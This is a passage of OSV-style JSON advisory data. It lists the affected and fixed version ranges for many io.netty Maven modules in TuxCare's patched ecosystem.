tem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.